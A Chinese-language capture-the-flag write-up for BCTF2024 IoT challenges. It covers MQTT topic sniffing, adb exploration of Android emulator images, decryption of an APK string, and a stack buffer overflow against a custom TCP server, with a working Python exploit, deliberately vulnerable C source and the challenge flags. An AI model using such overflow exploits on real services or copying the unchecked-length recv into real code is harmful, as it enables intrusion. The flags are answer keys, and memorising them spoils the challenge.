# BCTF2024-IOT
# 常见的 IOT 通信协议
题目
常见的 IOT 通信协议
example.com:8001
答案
flag{a2467320ce0f9bc6fda0a1f714e49933}
题解
brew install mosquitto
mosquitto_sub -h example.com -p 8001 -t "#"
# EasyAndroidEmulator
题目
- 环境要求:x86_64,java17
- 根据以下资源与提示运行一个 Android 模拟器:
Android Studio:https://developer.android.com/studio
SDK Tools:Android SDK Command-line Tools、Android SDK-Platform-Tools、Android Emulator
SDK Updates Sites: 文件 bctf-sys-img2-1-0.xml
sdkmanager: https://developer.android.com/tools/sdkmanager
avdmanager: https://developer.android.com/tools/avdmanager
emulator: https://developer.android.com/studio/run/emulator-commandline- 题目镜像:"system-images;android-33;bctf-easy-android-emu;x86_64"
- 运行成功通过 adb 获取 flag
答案
flag{RN15l3IyVPzdBOaQC5XUkW4q8r26WA47}
题解
下载 android-studio
安装 剩下的东西
搭建环境,启动模拟器
adb devices
adb shell
find / -name "flag*" 2>/dev/null
找到路径
执行 /bin/flag
# encryption
题目
- 环境:与 easy-android-emu 同样的基本环境。
- 题目镜像:"system-images;android-33;bctf-encryption;x86_64"
答案
flag{tf4Lsa4KB99x1CmU1raGwuzcA7Pm1sCL}
题解
按照上一题的解法,打开模拟器后
adb devices
adb shell
# 找到文件
find / -name "*encryption*" 2>/dev/null
adb pull /product/app/encryption/encryption.apk
adb pull /product/app/encryption/oat/x86_64/encryption.odex
adb pull /product/app/encryption/oat/x86_64/encryption.vdex
# 下载apktool 进行解密
# https://juejin.cn/post/7158107697907236878
搜索 flag
找到 encryption/smali/com/bctf/encryption/EncryptionService.smali
加密串 z++f9Pms0o2J6j9wYyvHeGvi3lhbLqbOUVdXPmNeLFQIHSYoF+gnmRscOO8OzCUD
pkcs7
密钥 bctfbctfbctfbctf
# EasyPrivateNetworkProtocol
题目
私有网络协议分析
example.com:8888https://twelveeee-note.oss-cn-beijing.aliyuncs.com/file/bctf2024/iot_challenge
答案
差一点做出来
flag{0Njb867t0ppd79Mel8XYP8Ms9UeptGNX}
题解
IDA 读 二进制文件
发现几个函数
int __cdecl main(int argc, const char **argv, const char **envp) | |
{ | |
socklen_t addr_len; // [esp+0h] [ebp-34h] BYREF | |
struct sockaddr v5; // [esp+4h] [ebp-30h] BYREF | |
struct sockaddr addr; // [esp+14h] [ebp-20h] BYREF | |
int v7; // [esp+24h] [ebp-10h] | |
int fd; // [esp+28h] [ebp-Ch] | |
int *p_argc; // [esp+2Ch] [ebp-8h] | |
p_argc = &argc; | |
addr_len = 16; | |
fd = socket(2, 1, 0); | |
if ( fd < 0 ) | |
{ | |
perror("socket"); | |
exit(1); | |
} | |
addr.sa_family = 2; | |
*(_DWORD *)&addr.sa_data[2] = 0; | |
*(_WORD *)addr.sa_data = htons(0x22B8u); | |
if ( bind(fd, &addr, 0x10u) < 0 ) | |
{ | |
perror("bind"); | |
close(fd); | |
exit(1); | |
} | |
if ( listen(fd, 5) < 0 ) | |
{ | |
perror("listen"); | |
close(fd); | |
exit(1); | |
} | |
printf("Server listening on port %d\n", 8888); | |
while ( 1 ) | |
{ | |
v7 = accept(fd, &v5, &addr_len); | |
if ( v7 < 0 ) | |
break; | |
handle_client(v7); | |
} | |
close(fd); | |
return 0; | |
} | |
int __cdecl handle_client(int fd) | |
{ | |
size_t n; // [esp+8h] [ebp-50h] BYREF | |
int buf; // [esp+Ch] [ebp-4Ch] BYREF | |
char v4[68]; // [esp+10h] [ebp-48h] BYREF | |
printf("client_sock: %d\n", fd); | |
if ( recv(fd, &buf, 4u, 0) > 0 ) | |
{ | |
if ( buf == -559038737 ) | |
{ | |
if ( recv(fd, &n, 4u, 0) <= 0 || recv(fd, v4, n, 0) <= 0 ) | |
{ | |
perror("recv"); | |
return close(fd); | |
} | |
else | |
{ | |
return printf("Received content: %s\n", v4); | |
} | |
} | |
else | |
{ | |
puts("Invalid magic number"); | |
return close(fd); | |
} | |
} | |
else | |
{ | |
perror("recv"); | |
return close(fd); | |
} | |
} |
还有一个定义了但是没有使用的方法
// address 0x08049266 | |
void __cdecl get_flag(int fd) | |
{ | |
size_t v1; // eax | |
char s[128]; // [esp+Ch] [ebp-8Ch] BYREF | |
FILE *stream; // [esp+8Ch] [ebp-Ch] | |
stream = fopen("flag", "r"); | |
if ( stream ) | |
{ | |
if ( fgets(s, 128, stream) ) | |
{ | |
fclose(stream); | |
v1 = strlen(s); | |
send(fd, s, v1, 0); | |
close(fd); | |
} | |
else | |
{ | |
perror("fgets"); | |
fclose(stream); | |
} | |
} | |
else | |
{ | |
perror("fopen"); | |
} | |
} |
先接收 magic number
( recv(fd, &n, 4u, 0) <= 0 || recv(fd, v4, n, 0) <= 0 ) |
import socket | |
import struct | |
MAGIC = 0xdeadbeef | |
SIZE = 128 | |
CONTENT = b"" | |
CONTENT += b'A' * (0x48 + 0x4) | |
CONTENT += struct.pack('<I', 0x08049266) # get_falg 的地址 | |
CONTENT += struct.pack('<I', 4) # | |
CONTENT += struct.pack('<I', 4) # client sock | |
def exploit(): | |
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: | |
s.connect((example.com, 8888)) | |
s.sendall(MAGIC.to_bytes(4, 'little')) | |
s.sendall(SIZE.to_bytes(4, 'little')) | |
s.sendall(CONTENT) | |
flag = s.recv(128) | |
print("Received flag:", flag.decode()) | |
if __name__ == "__main__": | |
exploit() |
找出题的同学要了源码
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <unistd.h> | |
#include <arpa/inet.h> | |
#define MAGIC 0xdeadbeef | |
#define FLAG_FILE "flag" | |
#define PORT 8888 | |
void get_flag(int client_sock) { | |
FILE *file = fopen(FLAG_FILE, "r"); | |
if (file == NULL) { | |
perror("fopen"); | |
return; | |
} | |
char flag[128]; | |
if (fgets(flag, sizeof(flag), file) == NULL) { | |
perror("fgets"); | |
fclose(file); | |
return; | |
} | |
fclose(file); | |
send(client_sock, flag, strlen(flag), 0); | |
close(client_sock); | |
} | |
void handle_client(int client_sock) { | |
char buffer[64]; | |
unsigned int magic; | |
unsigned int size; | |
printf("client_sock: %d\n", client_sock); | |
// 读取 magic 字段 | |
if (recv(client_sock, &magic, sizeof(magic), 0) <= 0) { | |
perror("recv"); | |
close(client_sock); | |
return; | |
} | |
// 检查 magic 字段 | |
if (magic != MAGIC) { | |
printf("Invalid magic number\n"); | |
close(client_sock); | |
return; | |
} | |
// 读取 size 字段 | |
if (recv(client_sock, &size, 4, 0) <= 0) { | |
perror("recv"); | |
close(client_sock); | |
return; | |
} | |
// 读取 content 字段 | |
if (recv(client_sock, buffer, size, 0) <= 0) { | |
perror("recv"); | |
close(client_sock); | |
return; | |
} | |
// 处理 content 字段 | |
printf("Received content: %s\n", buffer); | |
} | |
/** | |
* @description | |
* 实现一个服务器程序,使用 TCP 协议监听指定的端口,并处理来自客户端的连接请求。 | |
* 服务器会打印出 "Server listening on port XXXX",其中 XXXX 是端口号,然后进入死循环等待客户端的连接。 | |
* 当有新的客户端连接时,服务器会调用 handle_client 函数处理该连接。 | |
* 如果发生错误,则输出相应的错误信息并退出程序。 | |
* | |
* @param {boolean} isClientConnected | |
* 表示是否已经连接到了客户端,默认为 false。 | |
* | |
* @returns {number} | |
* 返回一个整数,表示服务器监听的端口号。 | |
*/ | |
int main() { | |
int server_sock, client_sock; | |
struct sockaddr_in server_addr, client_addr; | |
socklen_t client_addr_len = sizeof(client_addr); | |
// 创建套接字 | |
server_sock = socket(AF_INET, SOCK_STREAM, 0); | |
if (server_sock < 0) { | |
perror("socket"); | |
exit(EXIT_FAILURE); | |
} | |
// 绑定地址和端口 | |
server_addr.sin_family = AF_INET; | |
server_addr.sin_addr.s_addr = INADDR_ANY; | |
server_addr.sin_port = htons(PORT); | |
if (bind(server_sock, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) { | |
perror("bind"); | |
close(server_sock); | |
exit(EXIT_FAILURE); | |
} | |
// 监听连接 | |
if (listen(server_sock, 5) < 0) { | |
perror("listen"); | |
close(server_sock); | |
exit(EXIT_FAILURE); | |
} | |
printf("Server listening on port %d\n", PORT); | |
// 接受客户端连接 | |
while ((client_sock = accept(server_sock, (struct sockaddr *)&client_addr, &client_addr_len)) >= 0) { | |
handle_client(client_sock); | |
} | |
close(server_sock); | |
return 0; | |
} |
gcc -o iot_challenge main.c -fno-stack-protector -z execstack -no-pie -m32 |